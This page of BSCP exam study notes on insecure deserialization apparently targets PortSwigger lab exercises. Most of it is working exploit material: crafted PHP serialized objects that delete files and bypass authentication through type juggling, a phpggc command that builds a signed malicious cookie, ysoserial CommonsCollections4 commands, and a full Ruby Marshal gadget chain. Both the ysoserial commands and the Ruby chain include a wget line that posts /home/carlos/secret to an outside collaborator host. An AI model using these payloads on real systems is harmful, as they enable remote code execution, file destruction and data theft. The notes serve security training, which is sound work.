> For the complete documentation index, see [llms.txt](https://oscp-7.gitbook.io/bscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp-7.gitbook.io/bscp-notes/data-exfiltration/insecure-desarialization.md).

# Insecure Desarialization

online debugger:

<https://www.onlinegdb.com/>

1. Try to change object ex. for administrator
2. Insecure deserialization of object - fn that delete file (unlink)

<pre><code>function __destruct() {
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
    
    

<strong>O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
</strong>

</code></pre>

3. set access token to integer, and bypass authorization

`O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}`

{% hint style="info" %}
PHP-based logic is particularly vulnerable to this kind of manipulation due to the behavior of its loose comparison operator (`==`) when comparing different data types. For example, if you perform a loose comparison between an integer and a string, PHP will attempt to convert the string to an integer, meaning that `5 == "5"` evaluates to `true`.

Unusually, this also works for any alphanumeric string that starts with a number. In this case, PHP will effectively convert the entire string to an integer value based on the initial number. The rest of the string is ignored completely. Therefore, `5 == "5 of something"` is in practice treated as `5 == 5`.

This becomes even stranger when comparing a string the integer `0`:

`0 == "Example string" // true`

Why? Because there is no number, that is, 0 numerals in the string. PHP treats this entire string as the integer `0`.

Consider a case where this loose comparison operator is used in conjunction with user-controllable data from a deserialized object. This could potentially result in dangerous [logic flaws](https://portswigger.net/web-security/logic-flaws).

`$login = unserialize($_COOKIE) if ($login['password'] == $password) { // log in successfully }`

Let's say an attacker modified the password attribute so that it contained the integer `0` instead of the expected string. As long as the stored password does not start with a number, the condition would always return `true`, enabling an authentication bypass. Note that this is only possible because deserialization preserves the data type. If the code fetched the password from the request directly, the `0` would be converted to a string and the condition would evaluate to `false`.
{% endhint %}

4. use functionality of the app to delete file

Edit the serialized data so that the `avatar_link` points to `/home/carlos/morale.txt`. Remember to update the length indicator. The modified attribute should look like this:

`s:11:"avatar_link";s:23:"/home/carlos/morale.txt"`

Click "Apply changes". The modified object will automatically be re-encoded and updated in the request.

Change the request line to `POST /my-account/delete` and send the request. Your account will be deleted, along with Carlos's `morale.txt` file.

### phpgcc

<pre><code>php phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
<strong>
</strong><strong>
</strong><strong>&#x3C;?php
</strong>$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
</code></pre>

replace session cookie inside browser

### JAVA Commons&#x20;

```
java -jar ysoserial-all.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   CommonsCollections4 'rm /home/carlos/morale.txt' | base64
   
   
   
java -jar /opt/ysoserial/ysoserial.jar CommonsCollections4 'wget http://OASTIFY.COM --post-file=/home/carlos/secret' | base64 -w 0
```

### ruby&#x20;

<https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html>

```
# Autoload the required classes
require 'base64'
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
//rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
rs.instance_variable_set('@git_set', "wget http://xxx.oastify.com --post-file=/home/carlos/secret")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
```
